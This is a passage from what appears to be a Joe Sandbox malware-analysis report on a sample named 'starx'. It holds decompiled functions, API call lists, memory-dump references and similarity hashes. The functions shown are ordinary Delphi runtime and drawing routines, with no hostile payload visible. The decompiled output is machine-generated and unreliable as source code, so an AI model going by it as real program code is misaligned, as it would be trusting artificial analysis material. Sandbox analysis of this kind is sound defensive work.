				return DeleteDC(_v16);
			}

0x0041ed09
0x0041ed0d
0x0041ed16
0x0041ed1d
0x0041ed20
0x0041ed22
0x0041ed27
0x0041ed2c
0x0041ed2d
0x0041ed32
0x0041ed35
0x0041ed3a
0x0041ed3c
0x0041ed3e
0x0041ed3f
0x0041ed42
0x0041ed43
0x0041ed48
0x0041ed4e
0x0041ed4f
0x0041ed4f
0x0041ed6d
0x0041ed73
0x0041ed76
0x0041ed79
0x0041ed82
0x0041ed84
0x0041ed89
0x0041ed8d
0x0041ed8e
0x0041ed8e
0x0041ed9c

APIs

Part of subcall function 0041EBB0: GetObjectA.GDI32(?,00000054), ref: 0041EBC4

739EA590.GDI32(00000000), ref: 0041ED22
739EB410.GDI32(?,?,00000000,00000000,0041ED9D,?,00000000), ref: 0041ED43
739EB150.GDI32(?,?,?,00000000,00000000,0041ED9D,?,00000000), ref: 0041ED4F
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041ED66
739EB410.GDI32(?,00000000,00000000,0041EDA4,?,00000000), ref: 0041ED8E
DeleteDC.GDI32(?), ref: 0041ED97

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: B410$A590B150BitsDeleteObject
String ID:
API String ID: 3837315262-0
Opcode ID: b95ac6cb2f01a03f6cdbb9046da58c358d681479af920e59cae9d82f668017f9
Instruction ID: cfefbe69ceab52ec9d40b1908a28d6c01a381f1d1663965875867c8c5c50ee6f
Opcode Fuzzy Hash: b95ac6cb2f01a03f6cdbb9046da58c358d681479af920e59cae9d82f668017f9
Instruction Fuzzy Hash: 35114275A042047BDB10DBAADC81F9EB7FCEF48704F1144AABA18E72C1D6789950C768

Uniqueness

Uniqueness Score: -1.00%

Function 00401AD8, Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00401AD8() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0x47f5c0 == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(E00401BAE);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0x47f049 != 0) {
						_push(0x47f5c8);
						L00401370();
					}
					 *0x47f5c0 = 0;
					_t3 =  *0x47f620; // 0x7f1a78
					LocalFree(_t3);
					 *0x47f620 = 0;
					_t19 =  *0x47f5e8; // 0x7ef9c4
					while(_t19 != 0x47f5e8) {
						VirtualFree( *(_t19 + 8), 0, 0x8000);
						_t19 =  *_t19;
					}
					E004013D8(0x47f5e8);
					E004013D8(0x47f5f8);
					E004013D8(0x47f624);
					_t14 =  *0x47f5e0; // 0x7ef390
					while(_t14 != 0) {
						 *0x47f5e0 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x47f5e0; // 0x7ef390
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0x401bb5);
					if( *0x47f049 != 0) {
						_push(0x47f5c8);
						L00401378();
					}
					_push(0x47f5c8);
					L00401380();
					return 0;
				}
			}

0x00401ad9
0x00401ae3
0x00401bb7
0x00401ae9
0x00401aeb
0x00401aec
0x00401af1
0x00401af4
0x00401afe
0x00401b00
0x00401b05
0x00401b05
0x00401b0a
0x00401b11
0x00401b17
0x00401b1e
0x00401b23
0x00401b3d
0x00401b36
0x00401b3b
0x00401b3b
0x00401b4a
0x00401b54
0x00401b5e
0x00401b63
0x00401b6a
0x00401b6e
0x00401b75
0x00401b7a
0x00401b7f
0x00401b85
0x00401b88
0x00401b8b
0x00401b97
0x00401b99
0x00401b9e
0x00401b9e
0x00401ba3
0x00401ba8
0x00401bad
0x00401bad

APIs

RtlEnterCriticalSection.KERNEL32(0047F5C8,00000000,00401BAE), ref: 00401B05
LocalFree.KERNEL32(007F1A78,00000000,00401BAE), ref: 00401B17
VirtualFree.KERNEL32(?,00000000,00008000,007F1A78,00000000,00401BAE), ref: 00401B36
LocalFree.KERNEL32(007EF390,?,00000000,00008000,007F1A78,00000000,00401BAE), ref: 00401B75
RtlLeaveCriticalSection.KERNEL32(0047F5C8,00401BB5,007F1A78,00000000,00401BAE), ref: 00401B9E
RtlDeleteCriticalSection.KERNEL32(0047F5C8,00401BB5,007F1A78,00000000,00401BAE), ref: 00401BA8

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 2225271d2362d5d2740b5c0934a94d437b46c910198b489ee531402b8e52e8d7
Instruction ID: 766810c3e898184a50efab194f5ca8a52fecdba747e554fbdca5d33c8ac27786
Opcode Fuzzy Hash: 2225271d2362d5d2740b5c0934a94d437b46c910198b489ee531402b8e52e8d7
Instruction Fuzzy Hash: 8A118E706047406AE315AF76E842F2636E4B746744F54807BF409EAAF3E77CA888C75D

Uniqueness

Uniqueness Score: -1.00%

Function 0043985C, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043985C(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* _t20;
				void* _t21;
				void* _t27;
				void* _t31;
				void* _t35;
				intOrPtr* _t43;

				_t43 =  &_v8;
				_t20 =  *0x467b44; // 0x0
				 *((intOrPtr*)(_t20 + 0x180)) = _a4;
				_t21 =  *0x467b44; // 0x0
				SetWindowLongA(_a4, 0xfffffffc,  *(_t21 + 0x18c));
				if((GetWindowLongA(_a4, 0xfffffff0) & 0x40000000) != 0 && GetWindowLongA(_a4, 0xfffffff4) == 0) {
					SetWindowLongA(_a4, 0xfffffff4, _a4);
				}
				_t27 =  *0x467b44; // 0x0
				SetPropA(_a4,  *0x47fb26 & 0x0000ffff, _t27);
				_t31 =  *0x467b44; // 0x0
				SetPropA(_a4,  *0x47fb24 & 0x0000ffff, _t31);
				_t35 =  *0x467b44; // 0x0
				 *0x467b44 = 0;
				_v8 =  *((intOrPtr*)(_t35 + 0x18c))(_a4, _a8, _a12, _a16);
				return  *_t43;
			}

0x00439861
0x00439864
0x0043986c
0x00439872
0x00439884
0x00439899
0x004398b4
0x004398b4
0x004398b9
0x004398cb
0x004398d0
0x004398e2
0x004398f3
0x004398f8
0x00439908
0x00439910

APIs

SetWindowLongA.USER32 ref: 00439884
GetWindowLongA.USER32 ref: 0043988F
GetWindowLongA.USER32 ref: 004398A1
SetWindowLongA.USER32 ref: 004398B4
SetPropA.USER32(?,00000000,00000000), ref: 004398CB
SetPropA.USER32(?,00000000,00000000), ref: 004398E2

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: fa819eac112e1a5b68759dedd65d6e4cc0faf9680b2bb6f1ef07e8e6a0c5843e
Instruction ID: 628a303a04974e66c602d8bf66fca3c94f34c9858d874d3590d66045c3659de7
Opcode Fuzzy Hash: fa819eac112e1a5b68759dedd65d6e4cc0faf9680b2bb6f1ef07e8e6a0c5843e
Instruction Fuzzy Hash: EC114F76504204BFCF00DF99DD84D9A37E8AB0C318F108562FE18CB2A5D774E950CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041DC24, Relevance: 9.0, APIs: 6, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041DC24(void* __eax) {
				void* _t36;

				_t36 = __eax;
				UnrealizeObject(E0041D28C( *((intOrPtr*)(__eax + 0x14))));
				SelectObject( *(_t36 + 4), E0041D28C( *((intOrPtr*)(_t36 + 0x14))));
				if(E0041D36C( *((intOrPtr*)(_t36 + 0x14))) != 0) {
					SetBkColor( *(_t36 + 4),  !(E0041C5CC(E0041D250( *((intOrPtr*)(_t36 + 0x14))))));
					return SetBkMode( *(_t36 + 4), 1);
				} else {
					SetBkColor( *(_t36 + 4), E0041C5CC(E0041D250( *((intOrPtr*)(_t36 + 0x14)))));
					return SetBkMode( *(_t36 + 4), 2);
				}
			}

0x0041dc25
0x0041dc30
0x0041dc42
0x0041dc51
0x0041dc8b
0x0041dc9c
0x0041dc53
0x0041dc65
0x0041dc76
0x0041dc76

APIs

Part of subcall function 0041D28C: CreateBrushIndirect.GDI32(?), ref: 0041D336

UnrealizeObject.GDI32(00000000), ref: 0041DC30
SelectObject.GDI32(?,00000000), ref: 0041DC42
SetBkColor.GDI32(?,00000000), ref: 0041DC65
SetBkMode.GDI32(?,00000002), ref: 0041DC70
SetBkColor.GDI32(?,00000000), ref: 0041DC8B
SetBkMode.GDI32(?,00000001), ref: 0041DC96

Part of subcall function 0041C5CC: GetSysColor.USER32(?), ref: 0041C5D6

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: ccfcb1a00bb4b60a9011d6f0bb333ee54719bc8ed9ef569c06cd51e56eb6fbb8
Instruction ID: d90418da696b9f14c22956bf29c303f612f75152b2f738da9f0930d07f5d34ad
Opcode Fuzzy Hash: ccfcb1a00bb4b60a9011d6f0bb333ee54719bc8ed9ef569c06cd51e56eb6fbb8
Instruction Fuzzy Hash: 22F0BBB16001009BCE00FFAADAC6D4B2BDC9F0430970444AAB918DF187CA7DE8509779

Uniqueness

Uniqueness Score: -1.00%

Function 004030D8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E004030D8() {
				void* _v8;
				char _v12;
				int _v16;
				signed short _t12;
				signed short _t14;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t29 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v12 =  *0x467020 & 0x0000ffff;
				if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Borland\\Delphi\\RTL", 0, 1,  &_v8) != 0) {
					_t12 =  *0x467020; // 0x1372
					_t14 = _t12 & 0x0000ffc0 | _v12 & 0x0000003f;
					 *0x467020 = _t14;
					return _t14;
				} else {
					_push(_t29);
					_push(E00403149);
					_push( *[fs:eax]);
					 *[fs:eax] = _t32;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x403150);
					return RegCloseKey(_v8);
				}
			}

0x004030d9
0x004030db
0x004030e5
0x00403101
0x00403150
0x00403162
0x00403165
0x0040316e
0x00403103
0x00403105
0x00403106
0x0040310b
0x0040310e
0x00403111
0x0040312d
0x00403134
0x00403137
0x0040313a
0x00403148
0x00403148

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 004030FA
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00403149,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0040312D
RegCloseKey.ADVAPI32(?,00403150,00000000,?,00000004,00000000,00403149,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00403143

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 004030F0
FPUMaskValue, xrefs: 00403124

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 749cdfc75731873a44fea73ccda31ecd81d949f43c5996a43e950debfd09af0c
Instruction ID: 4765fd911f2394297e74d47d6fa7b5b122b8a1cd196c72813d86f747eca1367e
Opcode Fuzzy Hash: 749cdfc75731873a44fea73ccda31ecd81d949f43c5996a43e950debfd09af0c
Instruction Fuzzy Hash: 81017579954348B9D711EFA1CC52BAA77BCEB0CB05F1000B6FA14F66D0E6785A10C76D

Uniqueness

Uniqueness Score: -1.00%

Function 0044D100, Relevance: 7.7, APIs: 5, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0044D100(void* __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, int _a4, char _a8, struct tagRECT* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				struct tagRECT _v32;
				void* _t53;
				int _t63;
				CHAR* _t65;
				void* _t76;
				void* _t78;
				int _t89;
				CHAR* _t91;
				int _t117;
				intOrPtr _t127;
				void* _t139;
				void* _t144;
				char _t153;

				_t120 = __ecx;
				_t143 = _t144;
				_v16 = 0;
				_v12 = __ecx;
				_v8 = __edx;
				_t139 = __eax;
				_t117 = _a4;
				_push(_t144);
				_push(0x44d2e4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t144 + 0xffffffe4;
				_t53 = E0044F098(__eax);
				_t135 = _t53;
				if(_t53 != 0 && E004506D4(_t135) != 0) {
					if((_t117 & 0x00000000) != 0) {
						__eflags = (_t117 & 0x00000002) - 2;
						if((_t117 & 0x00000002) == 2) {
							_t117 = _t117 & 0xfffffffd;
							__eflags = _t117;
						}
					} else {
						_t117 = _t117 & 0xffffffff | 0x00000002;
					}
					_t117 = _t117 | 0x00020000;
				}
				E00404058( &_v16, _v12);
				if((_t117 & 0x00000004) == 0) {
					L12:
					E004043CC(_v16, 0x44d308);
					if(_t153 != 0) {
						E0041D374( *((intOrPtr*)(_v8 + 0x14)), _t120, 1, _t135, _t143, __eflags);
						__eflags =  *((char*)(_t139 + 0x3a));
						if( *((char*)(_t139 + 0x3a)) != 0) {
							_t136 =  *((intOrPtr*)(_v8 + 0xc));
							__eflags = E0041CD4C( *((intOrPtr*)(_v8 + 0xc))) |  *0x44d30c;
							E0041CD58( *((intOrPtr*)(_v8 + 0xc)), E0041CD4C( *((intOrPtr*)(_v8 + 0xc))) |  *0x44d30c, _t136, _t139, _t143);
						}
						__eflags =  *((char*)(_t139 + 0x39));
						if( *((char*)(_t139 + 0x39)) != 0) {
							L24:
							_t63 = E00404280(_v16);
							_t65 = E00404480(_v16);
							DrawTextA(E0041DA58(_v8), _t65, _t63, _a12, _t117);
							L25:
							_pop(_t127);
							 *[fs:eax] = _t127;
							_push(0x44d2eb);
							return E00403FC0( &_v16);
						} else {
							__eflags = _a8;
							if(_a8 == 0) {
								OffsetRect(_a12, 1, 1);
								E0041CA8C( *((intOrPtr*)(_v8 + 0xc)), 0xff000014);
								_t89 = E00404280(_v16);
								_t91 = E00404480(_v16);
								DrawTextA(E0041DA58(_v8), _t91, _t89, _a12, _t117);
								OffsetRect(_a12, 0xffffffff, 0xffffffff);
							}
							__eflags = _a8;
							if(_a8 == 0) {
								L23:
								E0041CA8C( *((intOrPtr*)(_v8 + 0xc)), 0xff000010);
							} else {
								_t76 = E0041C5CC(0xff00000d);
								_t78 = E0041C5CC(0xff000010);
								__eflags = _t76 - _t78;
								if(_t76 != _t78) {
									goto L23;
								}
								E0041CA8C( *((intOrPtr*)(_v8 + 0xc)), 0xff000014);
							}
							goto L24;
						}
					}
					if((_t117 & 0x00000004) == 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_v32.top = _v32.top + 4;
						DrawEdge(E0041DA58(_v8),  &_v32, 6, 2);
					}
					goto L25;
				} else {
					if(_v16 == 0) {
						L11:
						E00404288( &_v16, 0x44d2fc);
						goto L12;
					}
					if( *_v16 != 0x26) {
						goto L12;
					}
					_t153 =  *((char*)(_v16 + 1));
					if(_t153 != 0) {
						goto L12;
					}
					goto L11;
				}
			}

0x0044d100
0x0044d101
0x0044d10b
0x0044d10e
0x0044d111
0x0044d114
0x0044d116
0x0044d11b
0x0044d11c
0x0044d121
0x0044d124
0x0044d129
0x0044d12e
0x0044d132
0x0044d142
0x0044d151
0x0044d154
0x0044d159
0x0044d159
0x0044d159
0x0044d144
0x0044d147
0x0044d147
0x0044d15c
0x0044d15c
0x0044d168
0x0044d170
0x0044d196
0x0044d19e
0x0044d1a3
0x0044d1e1
0x0044d1e6
0x0044d1ea
0x0044d1ef
0x0044d1fb
0x0044d203
0x0044d203
0x0044d208
0x0044d20c
0x0044d2a9
0x0044d2b1
0x0044d2ba
0x0044d2c9
0x0044d2ce
0x0044d2d0
0x0044d2d3
0x0044d2d6
0x0044d2e3
0x0044d212
0x0044d212
0x0044d216
0x0044d220
0x0044d230
0x0044d23d
0x0044d246
0x0044d255
0x0044d262
0x0044d262
0x0044d267
0x0044d26b
0x0044d299
0x0044d2a4
0x0044d26d
0x0044d272
0x0044d27e
0x0044d283
0x0044d285
0x00000000
0x00000000
0x0044d292
0x0044d292
0x00000000
0x0044d26b
0x0044d20c
0x0044d1a8
0x0044d1b6
0x0044d1b7
0x0044d1b8
0x0044d1b9
0x0044d1ba
0x0044d1cf
0x0044d1cf
0x00000000
0x0044d172
0x0044d176
0x0044d189
0x0044d191
0x00000000
0x0044d191
0x0044d17e
0x00000000
0x00000000
0x0044d183
0x0044d187
0x00000000
0x00000000
0x00000000
0x0044d187

APIs

DrawEdge.USER32(00000000,?,00000006,00000002), ref: 0044D1CF
OffsetRect.USER32(?,00000001,00000001), ref: 0044D220
DrawTextA.USER32(00000000,00000000,00000000,?,?), ref: 0044D255
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D262
DrawTextA.USER32(00000000,00000000,00000000,?,?), ref: 0044D2C9

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Draw$OffsetRectText$Edge
String ID:
API String ID: 3610532707-0
Opcode ID: 3ffc94dac78dbce1873099b55cde0aded5887e697a8d21e9eeef515d9be17e80
Instruction ID: 9aaf1931ec3bc369ab9d5eeba1f07a5c28b65aac9dbf44c149d2546d1647c2d4
Opcode Fuzzy Hash: 3ffc94dac78dbce1873099b55cde0aded5887e697a8d21e9eeef515d9be17e80
Instruction Fuzzy Hash: BD518170E00204AFEB11EBA9CC85B9E77E5AF45328F1581ABFD10A7385C67CDD448B19

Uniqueness

Uniqueness Score: -1.00%

Function 0043A430, Relevance: 7.6, APIs: 5, Instructions: 139
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0043A430(intOrPtr __eax, void* __ecx, intOrPtr _a4) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				struct HWND__* _v24;
				intOrPtr _v28;
				char _v32;
				struct tagRECT _v48;
				struct tagRECT _v64;
				struct HWND__* _t53;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t78;
				intOrPtr _t84;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr _t98;
				intOrPtr _t101;
				void* _t102;
				intOrPtr* _t104;
				intOrPtr _t106;
				intOrPtr _t110;
				intOrPtr _t112;
				struct HWND__* _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t117;

				_t102 = __ecx;
				_t101 = __eax;
				_v5 = 1;
				_t113 = E0043A880(_a4 + 0xfffffff7);
				_v24 = _t113;
				_t53 = GetWindow(_t113, 4);
				_t104 =  *0x47e750; // 0x47fbb8
				if(_t53 ==  *((intOrPtr*)( *_t104 + 0x30))) {
					L6:
					if(_v24 == 0) {
						L25:
						return _v5;
					}
					_t114 = _t101;
					while(1) {
						_t55 =  *((intOrPtr*)(_t114 + 0x30));
						if(_t55 == 0) {
							break;
						}
						_t114 = _t55;
					}
					_t112 = E004432A4(_t114);
					_v28 = _t112;
					if(_t112 == _v24) {
						goto L25;
					}
					_t13 = _a4 - 0x10; // 0xe87d83e8
					_t60 =  *((intOrPtr*)( *_t13 + 0x30));
					if(_t60 == 0) {
						_t19 = _a4 - 0x10; // 0xe87d83e8
						_t106 =  *0x4389e4; // 0x438a30
						__eflags = E004033FC( *_t19, _t106);
						if(__eflags == 0) {
							__eflags = 0;
							_v32 = 0;
						} else {
							_t21 = _a4 - 0x10; // 0xe87d83e8
							_v32 = E004432A4( *_t21);
						}
						L19:
						_v12 = 0;
						_t65 = _a4;
						_v20 =  *((intOrPtr*)(_t65 - 9));
						_v16 =  *((intOrPtr*)(_t65 - 5));
						_push( &_v32);
						_push(E0043A3C4);
						_push(GetCurrentThreadId());
						L0040656C();
						_t126 = _v12;
						if(_v12 == 0) {
							goto L25;
						}
						GetWindowRect(_v24,  &_v48);
						_push(_a4 + 0xfffffff7);
						_push(_a4 - 1);
						E0040346C(_t101, _t126);
						_t78 =  *0x47fb38; // 0x0
						_t110 =  *0x4375d0; // 0x43761c
						if(E004033FC(_t78, _t110) == 0) {
							L23:
							if(IntersectRect( &_v48,  &_v48,  &_v64) != 0) {
								_v5 = 0;
							}
							goto L25;
						}
						_t84 =  *0x47fb38; // 0x0
						if( *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x38)) + 0xa0)) == 0) {
							goto L23;
						}
						_t86 =  *0x47fb38; // 0x0
						if(E004432A4( *((intOrPtr*)( *((intOrPtr*)(_t86 + 0x38)) + 0xa0))) == _v24) {
							goto L25;
						}
						goto L23;
					}
					_t116 = _t60;
					while(1) {
						_t93 =  *((intOrPtr*)(_t116 + 0x30));
						if(_t93 == 0) {
							break;
						}
						_t116 = _t93;
					}
					_v32 = E004432A4(_t116);
					goto L19;
				}
				_t117 = E00439948(_v24, _t102);
				if(_t117 == 0) {
					goto L25;
				} else {
					while(1) {
						_t98 =  *((intOrPtr*)(_t117 + 0x30));
						if(_t98 == 0) {
							break;
						}
						_t117 = _t98;
					}
					_v24 = E004432A4(_t117);
					goto L6;
				}
			}

0x0043a430
0x0043a439
0x0043a43b
0x0043a44a
0x0043a44c
0x0043a452
0x0043a457
0x0043a462
0x0043a48b
0x0043a48f
0x0043a5be
0x0043a5c7
0x0043a5c7
0x0043a495
0x0043a49b
0x0043a49b
0x0043a4a0
0x00000000
0x00000000
0x0043a499
0x0043a499
0x0043a4a9
0x0043a4ab
0x0043a4b1
0x00000000
0x00000000
0x0043a4ba
0x0043a4bd
0x0043a4c2
0x0043a4e3
0x0043a4e6
0x0043a4f1
0x0043a4f3
0x0043a505
0x0043a507
0x0043a4f5
0x0043a4f8
0x0043a500
0x0043a500
0x0043a50a
0x0043a50a
0x0043a50e
0x0043a514
0x0043a51a
0x0043a520
0x0043a521
0x0043a52b
0x0043a52c
0x0043a531
0x0043a535
0x00000000
0x00000000
0x0043a543
0x0043a54e
0x0043a553
0x0043a563
0x0043a568
0x0043a56d
0x0043a57a
0x0043a5a5
0x0043a5b8
0x0043a5ba
0x0043a5ba
0x00000000
0x0043a5b8
0x0043a57c
0x0043a58b
0x00000000
0x00000000
0x0043a58d
0x0043a5a3
0x00000000
0x00000000
0x00000000
0x0043a5a3
0x0043a4c7
0x0043a4cd
0x0043a4cd
0x0043a4d2
0x00000000
0x00000000
0x0043a4cb
0x0043a4cb
0x0043a4db
0x00000000
0x0043a4db
0x0043a46c
0x0043a470
0x00000000
0x0043a476
0x0043a47a
0x0043a47a
0x0043a47f
0x00000000
0x00000000
0x0043a478
0x0043a478
0x0043a488
0x00000000
0x0043a488

APIs

Part of subcall function 0043A880: WindowFromPoint.USER32(0043A65A,0047FB5C,00000000,0043A44A,?,-0000000C,?), ref: 0043A886
Part of subcall function 0043A880: GetParent.USER32(00000000), ref: 0043A89D

GetWindow.USER32(00000000,00000004), ref: 0043A452
GetCurrentThreadId.KERNEL32 ref: 0043A526
739EAC10.USER32(00000000,0043A3C4,?,00000000,00000004,?,-0000000C,?), ref: 0043A52C
GetWindowRect.USER32 ref: 0043A543
IntersectRect.USER32 ref: 0043A5B1

Part of subcall function 00439948: GetWindowThreadProcessId.USER32(00000000), ref: 00439955
Part of subcall function 00439948: GetCurrentProcessId.KERNEL32(?,?,00000000,0045C543,?,?,004662A8,00000001,0045C6AF,?,?,?,004662A8), ref: 0043995E
Part of subcall function 00439948: GlobalFindAtomA.KERNEL32(00000000), ref: 00439973
Part of subcall function 00439948: GetPropA.USER32 ref: 0043998A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$CurrentProcessRectThread$AtomFindFromGlobalIntersectParentPointProp
String ID:
API String ID: 2049660638-0
Opcode ID: 0f8c70ea66f3219802b330d46e19e6561ef71195d0814c85bcc1c67dfd3a8a3a
Instruction ID: 6f3ebc17cc82278dbc4eb6729a30138a4871afcd1b3a442f954ee41c666f79e0
Opcode Fuzzy Hash: 0f8c70ea66f3219802b330d46e19e6561ef71195d0814c85bcc1c67dfd3a8a3a
Instruction Fuzzy Hash: 8451AD71A40209AFCB10DF69C884AAEB7F4BF08354F145166F884EB351D738EE51CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00440F58, Relevance: 7.6, APIs: 5, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00440F58(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				int _v16;
				int _v20;
				struct tagPAINTSTRUCT _v84;
				intOrPtr _t55;
				void* _t64;
				struct HDC__* _t75;
				intOrPtr _t84;
				void* _t95;
				void* _t96;
				void* _t98;
				void* _t100;
				void* _t101;
				intOrPtr _t102;

				_t100 = _t101;
				_t102 = _t101 + 0xffffffb0;
				_v12 = __edx;
				_v8 = __eax;
				_t75 =  *(_v12 + 4);
				if(_t75 == 0) {
					_t75 = BeginPaint(E004432A4(_v8),  &_v84);
				}
				_push(_t100);
				_push(0x441078);
